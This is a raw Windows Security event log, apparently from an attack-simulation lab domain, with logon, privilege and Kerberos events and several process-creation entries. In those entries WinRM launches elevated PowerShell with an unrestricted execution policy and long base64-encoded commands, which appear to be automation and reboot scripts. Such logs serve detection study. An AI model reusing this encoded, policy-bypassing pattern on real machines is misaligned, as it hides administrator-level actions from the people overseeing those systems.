an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253469 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253468 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4CC8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253467 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4CC8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253466 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253465 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253464 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253545 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BABE4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253544 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BABE4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253543 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253542 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253541 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253540 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb58 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1050 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253539 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253538 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BA70E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253537 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BA70E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 